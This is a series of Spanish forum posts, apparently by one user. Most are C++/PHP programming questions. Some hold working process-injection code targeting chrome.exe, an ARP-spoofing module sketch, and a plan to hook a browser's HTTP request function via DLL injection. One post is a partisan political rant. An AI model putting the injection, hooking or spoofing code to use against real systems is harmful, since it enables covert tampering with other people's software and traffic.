B: devolver la clase "Response" normal sin puntero pero en caso de que falle lanzar una excepción, de esta manera si hay fallo lanza excepción y no devuelve nada.

C: devolver la clase "Response" normal sin puntero pero que la devuelva como nula si hubo error, es decir que la ponga un atributo "isNull" y si es TRUE es que hubo error y está vacía y sino todo correcto.

En fin hay más métodos, se me ha ocurrido en el segundo ejemplo que la funcion devuelva un booleano sobre si hubo error o no y que la clase que devuelva en vez de devolverla (que devolvería un booleano para saer si hubo error) la reciba como referencia o con un puntero.

¿Cuál opción usaríais?. Yo creo que la opción B es la más profesional, ¿vosotros? ¿cuál es el mejor método?.

Saludos.

Edito: Espero que me entendáis lo que quiero decir XD

#20
Hola, recién me acabo de informar acerca de una noticia sobre una agresión a 2 mujeres que apoyaban a la selección española en una carpa en Barcelona, fueron brutalmente agredidas por 2 grupos distintos de encapuchados, al grito de "¡putas españolas, os vamos a matar!".

Citar"Alas 17:00 horas del sábado en dicha carpa un grupo de intolerantes, la mayoría encapuchados, con una estética determinada y al grito de 'putes espanyoles, fuera de aquí, os vamos a matar', han arrasado con la carpa, y aún más triste y lamentable: han agredido brutalmente a las dos colaboradoras que se encontraban en ese momento, empujándolas y tirándolas al suelo, propinándoles golpes y patadas, robando el bolso a una de ellas. En el forcejeo la otra víctima ha tenido la mala suerte de caer en medio de la calle, ocasionándole, según el parte médico, erosiones en la piel, hematomas, contusiones, contractura cervical, entre otros. Los radicales han salido corriendo y han desaparecido. Se ha avisado a los Cuerpos de Seguridad. que han tomado atestado de los sucedido. Al poco rato, otro coche se ha personado y se ha bajado otro grupo de intolerantes y les han vuelto a agredir, insultándolas, tirándoles líquido y escupiéndoles"

En su propio país ¡que vergüenza!, y ¡qué gentuza! golpear y tratar así a unas mujeres que no estaban haciendo política de nada como comunicaron antes de poner la carpa "el apoyo y promoción de la Selección Española de cualquier sección y sus deportistas desde Barcelona". "Ni colores, ni política, tan solo deporte".

El incremento de los independentistas durante estos últimos años se debe al más inútil gobierno que puede existir el PP, que no ha tomado ninguna medida para detenerlo en estos años, y por otro lado está el PSOE que quiere pagar con los privilegios de los demás españoles el voto de los independentistas. Los catalanes tienen solo 2 horas de castellano a la semana, clases en catalán y hasta castigan a niños por no hablar catalán en los patios de los colegios.

Es increíble como ha aumentado en estos últimos años, y ya no solo los independentistas, sino que los que no lo son, son también son muy críticos con España y van tendiendo hacia el independentismo, incluso Garcia Albiol del PP catalán les hace güiños a los independentistas.

El gobierno catalán controla todo el poder de la comunidad, impide estudiar en castellano como primera lengua y catalán como segunda, pone banderas independentistas en muchos ayuntamientos, elimina las españolas y degrada a los catalanes que se sienten españoles (pues lo son), hace discriminación lingüistica del español cuando allí toda la vida se ha hablado (de hecho sería el primer idioma que hablaron los catalanes y de allí partiría su dialecto que es el catalán...), subvenciona comercios que se promocionan en catalán y presiona contra los que lo hacen en español, así pues se produce una fábrica de independentistas y el 48% de los catalanes controla al 52%, y mientras el gobierno central mirando.

En resumen mal por el gobierno independentista que ha dinamitado la sociedad catalana estos años dividiendola a la mitad y no para de subvencionar el independentismo y mal fatal del gobierno central que se ha quedado mirando estos años sin hacer nada, el PP, el gobierno que según decían se caracterizaban por la centralidad, otra mentira más.

El independentismo catalán nunca ha tenido razones (excepto las ideológicas porque para las demás no tienen argumento alguno), luego vemos que el patriarca del independentismo catalán (Pujol) es el mayor defraudador de hacienda de Europa jajaja, mentiras y mentiras hasta que algo cuaje. Pero mientras el ala independentista presiona la contraria permanece oculta y cuando hace la mínima aparición es escaldada como sucedió ayer con esas catalanas que no estaban ni realizando ninguna actividad política.

Recomendable este canal de YT: Dolca catalunya donde abundan violaciones de derechos a los catalanes que se sienten españoles así como mentiras independentistas desenmascaradas y cargos públicos pro independentistas.

Links de las agresiones:

http://es.besoccer.com/noticia/radicales-agreden-brutalmente-a-dos-voluntarias-de-barcelona-con-la-seleccion

http://ultimahora.es/sucesos/ultimas/2016/06/05/196984/agreden-dos-jovenes-plataforma-barcelona-seleccion.html

Como reflexión una pregunta: ¿que hubiera sucedido si hubiera sido al reves?. Nos tienen tomado el pulso.

Saludos.
#21
Código (cpp) [Seleccionar]

(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)


No hay manera solo matchea la primera url, he probado con todo.

Saludos.

Edito: Da igual ya no lo necesito, encontré resolver el problema con el mismo regex, cambiando las funciones que usaba:

Código (cpp) [Seleccionar]

for (auto it = std::sregex_iterator(data.begin(), data.end(), urlExpression); it != std::sregex_iterator(); ++it)
{
std::string url = it->str();
url = std::regex_replace(url, std::regex("https://"), "http://", std::regex_constants::format_first_only);
url = std::regex_replace(url, std::regex("&amp;"), "&");
URLMonitor::GetInstance()->AddSecureLink(mClientIP, url);
}


Precioso.
#22
Siguiendo como funcionan las clases en python, sabemos que una clase en python tiene sus atributos propios (self.*) y sus métodos que pueden ser accesibles desde dentro o fuera, pero además tiene un método __init() que se ejecuta automáticamente al llamar a la clase.

Así pues si queremos un thread que realice una determinada tarea este método es muy eficaz, por ejemplo para hacer ARP spoofing, debemos de trabajar con listas de hosts, funciones que afectan sobre ellos, y luego tenemos que permitir acceso externo para poder detenerlo o reiniciarlo.

Así pues creo este hilo para buscar cual es la mejor forma de programar esas subrutinas o módulos que están formados por funciones estáticas, atributos propios, y luego funciones externas que hacen de wrapper de los anteriores para poder controlar el funcionamiento de la subrutina desde otra parte del código externa.

Y bien ¿qué ideas se me han ocurrido?, me gustaría ver cuáles se os ocurrirían a vosotros y debatirlo hasta encontrar la manera más eficaz. La idea es no dar visibilidad en partes donde no se necesita, proteger el código.

1. Crear un namespace, con funciones que hacen de wrapper y pueden ser llamadas por terceros para controlar la subrutina. Y declarar las funciones correspondientes a la subrutina como static fuera del namespace.

spoofing.h

Código (cpp) [Seleccionar]

namespace Spoofing
{
Init();
Restart();
Uninit();
};

void EscanearRed();
void RealizarSpoofing();
...


spoofing.cpp

Código (cpp) [Seleccionar]


static BOOL * run = new BOOL();

Spoofing::Init()
{
     *run = TRUE;
     hosts
     param1, param2
     //declaramos aqui todas las variables de la subrutina, la lista de hosts...
     //y las inicializamos con las funciones static.
     while(*run)
     {
     EscanerRed();
     if(hosts)
          thread spoof(RealizarSpoofing, param1, param2);...
     }
     ...
}

Spoofing::Uninit()
{
     *run = FALSE;
}

...

static void EscanearRed(para1, param2)
{
      if(*run)
          ...
}
static void RealizarSpoofing()
{
      while(*run)
          ...
}


Utilizo una variable booleana para detener los subthreads que genera la subrutina. De esta manera controlo la subrutina desde el namespace. Al incluir al main.cpp la cabecera spoofing.h no tiene visibilidad a funciones que no son del namespace, no tiene acceso a datos que no le interesan.

Lo malo que hay que pasar parametros del namespace a las funciones static, ¿sería mejor declarar todas las variables fuera de Init() para así  no tener que estar pasandolas como argumento de una funcion a otra?, como ocurre con el BOOL* que gracias a que esta fuera no es necesario pasarlo entre funciones.

2. Crear una clase con todos los atributos, ponerla un método Init(), Uninit(), Restart(). Un constructor que inicialice a NULL los atributos, y tras instanciar la clase pasar a llamar a Init(), Uninit(), etc. Lo malo de esto sería que esa clase para poderla usar desde fuera habría que pasar su dirección de memoria. Por ejemplo si en el main.cpp la instanciamos y llamamos a Init(), y luego en archivox.cpp queremos llamar a Uninit(), debemos de pasarle la dirección de la clase instanciada.

También puede tener funciones estáticas.

De momento pongo estos 2 que son los que más me han hecho dudar, y sí también se puede poner todo con funciones staticas, pero ya que es C++ vamos a aprovechar los namespaces y las clases.

Agradecería críticas constructivas

¿Cual creéis que es la mejor? ¿y cuál usaríais vosotros?.

Saludos!!.

#23
Bueno, me descargue el código de la página pero como sabeis tiene varias dependencias, y sus dependencias tienen dependencias, y dan errores, y no tuve manera de compilar ni zlib como para compilar curl.

Es por eso que acudí en la propia página a compilaciones hechas por terceros:

https://curl.haxx.se/download.html#Win32

Están ya por la versión 7.49 y la última compilación corresponde a la 7.40 y es la única que tiene las librerías, que tienen vulnerabilidades, pero mejor que nada por supuesto :X

¿Alguien ha conseguido compilarlo alguna vez, consejos? ¿dónde puedo encontrar su última compilación?, bueno mientras, iré pasando los .a a .lib a ver si encuentro la forma y así puedo usar las librerías estáticas..

Un saludo!


Edito: He intentado crear la .lib a partir de libcurl.a y libcurl.def así como con libssh2.a y libssh2.def, y he conseguido crear las ambas en .lib a partir del comando pero su contenido está mal construido, explico:

Primero abro el command prompt de MVS:

http://stackoverflow.com/questions/21476588/where-is-developer-command-prompt-for-vs2013

Una vez allí he intentado generar las librerías estáticas .lib con los .a y sus archivos .def, accediendo al directorio "lib" donde están archivos .a y .def Con el comando:

Citarlib /machine:i386 /def:libcurl.def
lib /machine:i386 /def:libssh2.def

Esto me crea libcurl.lib y libssh2.lib y sus .exp.

Sin embargo el .lib que me crea no tiene sentido ocupa 42kb mientras que el libcurl.a y libcurl.dll ocupan 660 kbs. Luego normal que al añadirle al proyecto me muestre mensaje de error diciendo que libcurl.dll no está en el equipo.

Creo un proyecto para C++ incluyo cabeceras, directorios de librerías (el "lib") y añado que quiero añadir las librerias libcurl.lib y libssh2.lib.

Compilo sin error un programa que usa libcurl, al ejecutar muestra error "el programa no puede iniciarse porue falta libcurl.dll en el equipo..".

¿?¿? ¿Cómo genero correctamente el .lib a partir del .a?

http://stackoverflow.com/questions/9346054/convert-from-mingw-a-to-vc-lib

Esto me genera un .lib de 42 kbs XD, también es cierto que hay más .a que tienen que ver tanto con libcurl como con libssh2. libcrypt.a libcurl.a lib....a y el libcurl.def pero el comando "lib" debería de valer igualmente, que ocurre.

Saludos sigo mirando.

Los .a son librerías estáticas de mingw, funcionan para codeblocks pero para VS no que usa .lib. Con el MVS command prompt siguiendo el tutorial unos dicen que se puede hacer otros no, yo lo he probado y ese fue el resultado.

http://stackoverflow.com/questions/5965171/what-is-a-file-with-extension-a

Vuelve edicion delicatesse:
http://stackoverflow.com/questions/20171165/getting-libcurl-to-work-with-visual-studio-2013
Lo he conseguido hacer compilar con nmake como pone en el ultimo link, sin embargo me aparece que simbolos externos no resueltos, he añadido los objet file al debug¿? y sigue igual, ¿porque no los reconoce?, en ello.

Solucionado esto ultimo también habia que añadir al preprocesador CURL_STATICLIB, ahora compila con la librería buena, PERO al ejecutar un codigo de prueba obtengo error en ejecucion debug assetion failed.., en ello.

Código (cpp) [Seleccionar]

CURL *curl;
CURLcode res;

curl = curl_easy_init();
if (curl) {
/* First set the URL that is about to receive our POST. This URL can
just as well be a https:// URL if that is what should receive the
data. */
curl_easy_setopt(curl, CURLOPT_URL, "https://www.google.co.uk");

/* Perform the request, res will get the return code */
res = curl_easy_perform(curl);

/* always cleanup */
curl_easy_cleanup(curl);
}
return 0;


curl_easy_perform(curl); heap corruption ¿?, quizás falte una directiva de preprocesador? :/

Jiji, me pasa lo mismo que a este:

https://curl.haxx.se/mail/lib-2010-11/0244.html

FINAL DELICATESSE EDITION: POR FIN, TENGO CURL  7.48 RULANDO FINO.

El error se debía a que estaba usando el modo debug en vez de release, con release no sale el debug:

http://www.cplusplus.com/forum/windows/172335/

Saludos  XDD

PD: me encantan los hilos que abro y me voy respondiendo a mi mismo hasta resolverlos ^^

Lo unico a ver si encuentro manera de poderlo usar en modo debug.
#24
Hola a todos, he estado viendo este documental y aunque es de 2009 lo he visto ahora y me paso por aquí para recomendároslo pues seguro que muchos no lo habéis visto y quizás os interese.

Trata de la historia de unos activistas que viajan a Taiji (Japón) para hacer constar al mundo la caza anual de delfines que allí se produce.

Muy recomendable teniendo en cuenta que el proteagonista "Ric O'Barry" capturo en 1960 a 5 delfines para grabar "flipper", y se encargo de entrenarlos, pero pasados 10 años todo eso acabó y al morir Flipper en sus brazos, dio un cambio radical y se volvió activista durante los próximos 35 años liberando delfines en cautividad, y perdiendo a compañeros en su lucha, una persona con dos huevos.

No os cuento más XD, y os dejo el link:

https://www.youtube.com/watch?v=v3XNjrgReHU

Saludos.
#25
Código (cpp) [Seleccionar]

bool RemoveFromRegistry(bool privileges, LPCWSTR keyName)
{
HKEY hKeyOutput;
HKEY hKeyInput;
DWORD options;
BOOL ret = FALSE;

hKeyInput = (privileges) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER;
options = (arquitecturax64()) ? KEY_ALL_ACCESS | KEY_WOW64_64KEY : KEY_ALL_ACCESS | KEY_WOW64_32KEY;

if (RegOpenKeyEx(hKeyInput, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, options, &hKeyOutput) == NO_ERROR)
{
//options = (arquitecturax64()) ? KEY_WOW64_64KEY : KEY_WOW64_32KEY;
if (RegDeleteKeyEx(hKeyOutput, keyName, options, NULL) == NO_ERROR)
{
ret = TRUE;
}
RegCloseKey(hKeyInput);
RegCloseKey(hKeyOutput);
}
return ret;
}


La clave esta creada y el nombre es el mismo que cuando la creé "pepito", el caso que cuando la voy a eliminar falla el RegDeleteKeyEx y no se porqué, ¿qué puedo estar haciendo mal?.

Saludos.
#26
Buenas, pues quería hacer una inyección de código de una función tal cual en otra aplicación, me refiero a inyectar una función con una declaración:

Código (cpp) [Seleccionar]

static void HookFFRequest(void){
MessageBox(NULL, "hola", NULL, NULL);
}


Y luego al inyectar reservar memoria y escribir en ella solo una vez, en vez de dos ya que no queremos pasar parámetros a la función.

Código (cpp) [Seleccionar]

VirtualAllocEx(process, NULL, parametersSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(process, DataAddress, parameters, parametersSize, NULL);
CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)MyFuncAddress, NULL, 0, NULL);


Sin embargo da error ¿por qué?. También he probado a inyectar pasandole de parámetro solo el modulo que devuelve GetProcAddress:

Código (cpp) [Seleccionar]

DWORD module = (DWORD)GetProcAddress(hhUserModule, "MessageBox");


Y tampoco ha funcionado, ¿solo funciona si le paso todos los parámetros de la función a la que llamo?, no veo que tenga sentido hacerlo.

La idea es hacer un hook, por lo tanto la función del código que debo inyectar no tiene que llevar parámetros. Y la función sería simple código que ejecutara el hook haciendo override a la función original.

Código (cpp) [Seleccionar]


typedef int (WINAPI* MsgBoxParam)(HWND, LPCSTR, LPCSTR, UINT);

struct PARAMETERS
{
DWORD module;
char text[50];
char caption[25];
int buttons;
//HWND handle;
};

static DWORD WINAPI HookFFRequest(DWORD *module)// PARAMETERS *param)
{
MsgBoxParam m = (MsgBoxParam)*module;
m(NULL, "HELLO", NULL, NULL);

/*MsgBoxParam MsgBox = (MsgBoxParam)param->module;
int result = MsgBox(0, param->text, param->caption, param->buttons);
switch (result){
case IDOK:
//code
break;
case IDCANCEL:
//code
break;
}*/
return 0;
}


Al inyectar HookFFRequest sin parámetros o con solo el módulo no funciona, sin embargo si le paso todos los parámetros si lo hace, ¿eso es que estoy haciendo mal la inyección, no?. ¿No puedo ejecutar esa función sin pasarla nada y hacer un MessageBox directamente?.

¿porque inyectar función y luego parametros de función y luego llamar función, pudiendo inyectar solo función poniendola ahí ya los parámetros que queramos y así inyectamos solo una vez?.


Saludos, ahí voy probando.

#27
Hola buenas, hace pocos días estuve leyendo sobre el API hooking y de allí salté a la inyección de DLL, y más adelante pasé a la inyección de código, y ayudándome con un código que encontré en rohitab fuí dando forma a mi código y puse control de errores. Este es el link por si a alguien le interesa, me fue muy útil:

http://www.rohitab.com/discuss/topic/39357-code-cave-injection-tutorial-c/

El programa inyecta un MessageBox en la aplicación objetivo, tras salir el MessageBox y pulsar aceptar se cierra la aplicación objetivo. Desconozco el porqué, os dejo el código a ver si me podéis ayudar a saber:

Código (cpp) [Seleccionar]

#pragma once
#include <windows.h>
#include <shlobj.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <shlwapi.h>

typedef int (WINAPI* MsgBoxParam)(HWND, LPCSTR, LPCSTR, UINT);
using namespace std;

struct PARAMETERS{
DWORD MessageBoxInj;
char text[50];
char caption[25];
int buttons;
//HWND handle;
};

DWORD GetPIDFromProcName(LPCWSTR procName);
DWORD MyFunc(PARAMETERS * myparam);
DWORD Useless();
bool Injecter();

DWORD GetPIDFromProcName(LPCWSTR procName)
{
PROCESSENTRY32 pe;
HANDLE thSnapShot;
BOOL retval;

thSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (thSnapShot == INVALID_HANDLE_VALUE)
{
return 0;
}

pe.dwSize = sizeof(PROCESSENTRY32);

retval = Process32First(thSnapShot, &pe);

while (retval)
{
if (!lstrcmp(pe.szExeFile, procName))
{
return pe.th32ProcessID;
}
retval = Process32Next(thSnapShot, &pe);
}

return 0;
}

static DWORD MyFunc(PARAMETERS * myparam){
MsgBoxParam MsgBox = (MsgBoxParam)myparam->MessageBoxInj;
int result = MsgBox(0, myparam->text, myparam->caption, myparam->buttons);
switch (result){
case IDOK:
               //code
break;
case IDCANCEL:
//code
break;
}
return 0;
}

static DWORD useless(){
return 0;
}

//debe ser static para que el compilador las ponga juntas y calcule bien el tamaño :)
bool Injecter()
{

HANDLE proc = NULL;
DWORD pID = NULL;

if ((pID = GetPIDFromProcName(L"chrome.exe")) == NULL)// no GetTargetThreadIDFromProcName ^^
{
return false;
}

if ((proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID)) == NULL)
{
return false;
}

char * mytext = "Hello by CodeCave!";
char * mycaption = "Injection result";

PARAMETERS data;   //let's fill in a PARAMETERS struct

HINSTANCE hUserModule = LoadLibraryA("user32.dll");

if (hUserModule == NULL)
{
CloseHandle(proc);
return false;
}

data.MessageBoxInj = (DWORD)GetProcAddress(hUserModule, "MessageBoxA");
strcpy(data.text, mytext);
strcpy(data.caption, mycaption);
data.buttons = MB_OKCANCEL | MB_ICONQUESTION;

DWORD_PTR size_myFunc = (DWORD_PTR)((LPBYTE)useless - (LPBYTE)MyFunc);

LPVOID MyFuncAddress = NULL;

if ((MyFuncAddress = VirtualAllocEx(proc, NULL, size_myFunc, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
{
CloseHandle(proc);
return false;
}

if (WriteProcessMemory(proc, MyFuncAddress, (LPVOID)MyFunc, size_myFunc, NULL) == NULL)
{
VirtualFree(MyFuncAddress, 0, MEM_RELEASE);
CloseHandle(proc);
return false;
}

LPVOID DataAddress = NULL;

if ((DataAddress = VirtualAllocEx(proc, NULL, sizeof(PARAMETERS), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL)
{
CloseHandle(proc);
return false;
}

if (WriteProcessMemory(proc, DataAddress, (LPVOID)&data, sizeof(PARAMETERS), NULL) == NULL)
{
VirtualFree(MyFuncAddress, 0, MEM_RELEASE);
VirtualFree(DataAddress, 0, MEM_RELEASE);
CloseHandle(proc);
return false;
}

HANDLE thread = NULL;

if ((thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)MyFuncAddress, DataAddress, 0, NULL)) == NULL)
{
VirtualFree(MyFuncAddress, 0, MEM_RELEASE);
VirtualFree(DataAddress, 0, MEM_RELEASE);
CloseHandle(proc);
return false;
}

WaitForSingleObject(thread, INFINITE);
VirtualFree(MyFuncAddress, 0, MEM_RELEASE);
VirtualFree(DataAddress, 0, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(proc);
cout << "Injection completed!" << endl;

return true;
}



Al ejecutar el programa ejecuta todo sin errore y muestra "Injection completed!", pero al cerrar el MessageBox que invoco el la aplicación a la que inyecto esta se me cierra también.

Creo que se debe al calculo del tamaño de la función a inyectar, quizás dependiendo de un compilador pueda variar el resultado.

Saludos y gracias.
#28
Hola a todos, resulta que ayer estuve leyendo sobre este método un buen rato, pero sin embargo hay algo que no logro comprender.

Si bien he conseguido hookear una función para que haga lo que yo quiera (En este caso MessageBoxW), el hook no va más allá de mi aplicación, el hook solo me afecta a mi.

Ya que abro otro programa que ejecuta MessageBoxW y no muestra el mensaje del hook.

Luego ¿para que vale esto si solo afecta a nuestro propio programa, o que paso por alto?.

Continue leyendo este tutorial, que esta muy bien y seguro que todos lo habréis leido:

http://www.codeproject.com/Articles/2082/API-hooking-revealed

Y bueno para ejecutar codigo en otro proceso necesitamos inyectar una DLL al proceso del que queremos manipular una función. Para inyectar una DLL con nuestro código si el proceso al que queremos inyectarla usa User32.dll se puede modificar un registro para que cargue nuestra DLL, sino hay otros métodos...

Suponiendo que hemos conseguido que el programa objetivo cargue nuestra DLL, ahora ¿cómo podemos interceptar una función suya y manipularla?. No lo tengo claro, ¿acaso ahora la DLL debería de hookear la función en cuestión que queremos modificar y ahora ya funcionaría debido a que pertenece al mismo proceso?, ¿en eso consiste?, porque sno no veo claro la relación.

Ejemplo: Si queremos manipular HttpSendRequestW de InternetExplorer desde un proceso externo. Planteamiento: cargar nuestra DLL en iexplorer.exe y nuestra DLL tendría un hook para HttpSendRequestW que al ser ejecutada por iexplorer.exe hookearía la API ejecutando nuestro código en cada llamada a la función. ¿Consiste en eso o como?.

Es que estoy empezando a probar un poco de que va esto.

Saludos.

Puff acabo de inyectarme en chorme.exe y ha sido ORGASMICO, ahora voy a probar a manipular sus funciones con algún hook a una de sus funciones.  A ver si se puede.
#29
Redes / Duda sobre HTTP y P2P
29 Marzo 2016, 17:13 PM
Buenas, me estaba preguntando si es posible a través de un servidor HTTP enlazar dos ordenadores
entre si a través de el, ya que el actuaría como tracker.

La idea no se si funcionaría pero sería que los 2 ordenadores se conectasen a un servidor HTTP y que le manden su puerto, ip pública, e ip privada. Entonces lanzarían peticiones HTTP el uno al otro para comunicarse, también podría utilizar otros protocolos estáticos usando HTTP tunnel.
El único incomveniente que veo de primeras es que el puerto no sabremos cual sería el del cliente, pues en cada petición HTTP el puerto es distinto y va subiendo de uno en uno, sin embargo al ser otra IP cambiará y no se me ocurre manera de predecir el puerto.

Pero necesito saber si es viable, y si funcionaría.

Si es que ambos ordenadores al lanzar connect y usar recv mutuamente sean capaces de conectarse el uno con el otro, la única diferencia con otros tracker sería que utilizarían el protocolo HTTP lo que permitiría pasar sobre el firewall y el router.

También quisiera saber si esto es gracias a una vulnerabilidad de la NAT como ocurre con un tracker TCP orientado a conexión, y a pesar de que he buscado no encuentro la diferencia entre un tracker TCP y UDP, aunque seguiré indagando en ello.

Pues me gustaría crear una P2P que use HTTP como protocolo de encapsulamiento. Por las ventajas que ofrece, ahora el problema es engañar al que sería el servidor, porque ambos ordenadores actuarían como cliente y servidor, ¿pero que puerto abro en el servidor?, y si lo abro tengo que hacer port fordwarding con el router, luego para engañarlo debe de actuar como cliente también.

La única manera que se me ocurre es que ambos lanzarán la peticion a la vez y que recibieran un ACK y que piensen que procede de un servidor y que ese servidor está respondiendo a su petición anterior, entonces este mandaría un ACK al otro diciendo que lo ha recibido el mensaje del otro:

Citar
A-SYN-B ---------------- B-SYN-A

A-ACK-B ---------------- B-ACK-A

A-REQUEST-B ---------------- B-RESPONSE-A

A-RESPONSE-B ---------------- B-REQUEST-A

No se si será posible, pero en la primera interacción cuando mandan los SYN ningún router dejaría pasar el paquete lo cortaría (la menos eso hacen la mayoría de las redes), sin embargo, si en el tracker ponemos una hora minuto y segundo concreta para que manden el SYN y el ACK a la vez, quizás pueda producirse la conexión, lo veo muy dificil, pero me gustaría escuchar más ideas y ver si sería viable.

Un saludo!

Edito: Bueno me pregunto si simplemente A conociendo la IP publica y privada de B, y B teniendo un puerto abierto escuchando que A conoce, si sería capaz A de conectar con B sin necesidad de que le llegue un ACK.. :P
#30
Bueno, pues estoy tratando de subir un archivo a una página web, que corre un script PHP..

El caso que he probado de todas las maneras posibles sin éxito alguno, he probado a hacer POST enviando en una variable el nombre del archivo y en otra el contenido del archivo con application/x-www-form-urlencoded y recibía el nombre correctamente pero el contenido mal (los bytes del jpg), me conseguía crear el archivo en el servidor pero estaba corrupto, en el PHP simplemente habría el archivo con ese nombre y escribía el contenido en binario, pero ya os digo el archivo ocupaba 80kb y escribió solo 1,9kbs si no mal recuerdo.

También probé a usar lo mismo pero con application/octet-stream, y bueno en este caso tenía que cambiar el script PHP, pero no me interesó realmente y no le dí muchas vueltas a este método, porque quiero subirlo o bien con POST con  application/x-www-form-urlencoded o con POST con multipart/form-data.

Visto que el primero escribía el 2% del archivo como que lo dejé y pase a multipart/form-data.
Copiando os datos de firefox, analizando paquetes de firefox con los de mi aplicación, como suben ambos el archivo, y SON JODIDAMENTE IGUALES EL BODY SOLO OJO, pero uno lo sube y otro no.

Os dejo el código de la función que sube un archivo y del PHP.

Código (php) [Seleccionar]

<?php 
if($_FILES["archivo"]["name"]){     
      if (
$_FILES["archivo"]["error"] > 0) { 
        echo 
$_FILES["archivo"]["error"] . "<br/>"
      } else { 
          if (
file_exists("" $_FILES["archivo"]["name"])) {
            echo 
$_FILES["archivo"]["name"] . " ya existe. "
          } else { 
            
move_uploaded_file($_FILES["archivo"]["tmp_name"], 
            
"" $_FILES["archivo"]["name"]);
            echo 
"Archivo Subido <br />"
          } 
      } 

?>



Código (cpp) [Seleccionar]

bool tracker::SendFile(std::string _path)
{
HINTERNET hInternet;

if ((hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0)) == NO_ERROR){
return false;
}

if ((hInternet = InternetConnectA(hInternet, domain.c_str(), INTERNET_DEFAULT_HTTP_PORT,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0)) == NO_ERROR){
InternetCloseHandle(hInternet);
return false;
}

DWORD requestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS |
INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_NO_AUTO_REDIRECT |
INTERNET_FLAG_NO_COOKIES |
INTERNET_FLAG_NO_CACHE_WRITE |
INTERNET_FLAG_NO_UI |
INTERNET_FLAG_RELOAD;

if ((hInternet = HttpOpenRequestA(hInternet,
"POST",
"/catcher.php",
"HTTP/1.1",
NULL, NULL,
requestFlags, 0)) == NO_ERROR){
InternetCloseHandle(hInternet);
return false;
}

std::ifstream reader("C:\\Users\\User\\Desktop\\ciclista.jpg", std::ifstream::ate | std::ifstream::binary);
int size = reader.tellg();
char* buffer = new char[size];
reader.seekg(0, std::ios::beg);
reader.read(buffer, size);
reader.close();

std::string content;
content = std::string(buffer, size);
delete[] buffer;

std::string body;
std::string boundary = "-----------------------------268991947030948";

/*Body*/
body += boundary + "\r\n";
body += "Content-Disposition: form-data; name=\"archivo\"; filename=\"ciclista.jpg\"\r\n";
body += "Content-Type: image/jpeg\r\n\r\n";
body += content + "\r\n";
body += boundary + "\r\n";
body += "Content-Disposition: form-data; name=\"boton\"\r\n\r\n";
body += "Enviar archivo\r\n";
body += boundary + "--\r\n";

/*Header*/
std::string headers = "Content-Type: multipart/form-data; boundary=" + boundary + "\r\n";
HttpAddRequestHeadersA(hInternet, headers.c_str(), headers.length(), HTTP_ADDREQ_FLAG_ADD);

/*Body*/
std::cout << body.substr(0, 600) << body.substr(body.length() - 200, 200);
std::cout << body.length() << std::endl;

if (HttpSendRequestA(hInternet, NULL, 0, (LPVOID)body.c_str(), body.length()) == NO_ERROR){
InternetCloseHandle(hInternet);
return false;
}

std::string response;
DWORD dwBytes;
char ch;

while (InternetReadFile(hInternet, &ch, 1, &dwBytes))
{
if (dwBytes != 1) break;
response += ch;
}

InternetCloseHandle(hInternet);
std::cout << response;
}


Bueno me he vuelto loco comparando el contenido de los paquetes, y solo puede fallar la cabecera (luego a saber que será), pero el Content-Length es igual en firefox que en mi función, luego si cambia algo sería la cabecera que tiene HOST, CONTENT-LENGTH, CONTENT-TYPE, CONNECTION KEEP ALIVE, CACHE-CONTROL NO CACHE. Al acabar el header \r\n\r\n como siempre y mando el body, ahí está el código, cuando recibo la respuesta del server recibo solo el HTML sin el "se ha subido correctamente" o "ya existe". Pero no hay errores en el PHP.

¿Qué pasa?.

Saludos :X
#31
PHP / ¿Cómo mantener una sesión en PHP?
20 Marzo 2016, 04:18 AM
Buenas noches caballeros, resulta que tengo un servidor PHP y quiero tener usuarios que sean capaces de registrarse e iniciar sesión, para mantener la sesión de cada uno.

El problema es que no se como funciona lo de las cookies para mantener sesión, lo que quiero es iniciar sesión con un cliente y que pasado un rato caduque la cookie restringiendo de nuevo el acceso.
Y que nadie sea capaz de acceder a ese contenido más que el cliente que tenga esas cookies.

¿que debería de hacer en PHP para hacer esto posible?.

Código, ¿cómo sería?, y ¿qué es lo más recomendable?.

Como adicional, dejo caer cual es la mejor manera de guardar los logins de los usuarios registrados Y saber si hay formas de detectar archivos en una página que tiene index vacío, me refiero a que si por ejemplo tengo un index.html vacio y en ese directorio tengo un archivo llamado 1091y30r9u9efum92uf901u90r1un3r.nada si ese archivo podría ser detectado por alguna técnica por un atacante o el atacante para encontrarlo tendría que ir metiendo random urls hasta encontrarlo.

Un saludo y mcuhas gracias socios.
#32
Hola, a todos llevo muchos días sin estar al tanto del foro, pero he vuelto a programar un poco, y he tenido un problema para enviar un archivo con HTTP POST, os dejo el código del cliente C++ y del servidor PHP.

Hay otros métodos como PUT pero no me interesan. Quiero enviarlo por POST que funciona para todo tipo de archivos. La idea es que al subirlo envio 2 variables, una con el nombre del archivo y su extensión y otra con el contenido del archivo en binario. Quizás pueda tener que ver con el fallo.

Ojo, solo quiero subir todos los bytes del archivo y su nombre en 2 variables (nombre y contenido), y con el script PHP guardarlo. La idea sería poner cifrado a los bytes del archivo y desencriptarlo en el PHP, pero eso ya más adelante. Pero por eso necesito enviar el archivo en una variable como un array de bytes.

Código (cpp) [Seleccionar]

//_path C:\\Users\\User\\Desktop\\bicieta.jpg
bool tracker::send_file(std::string _path)
{
WSADATA wsa;
SOCKET sock;
sockaddr_in addr;
std::string data;
std::string peticion;

WSAStartup(MAKEWORD(2, 0), &wsa);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR){
WSACleanup();
return CODIGO::ERR_RED;
}

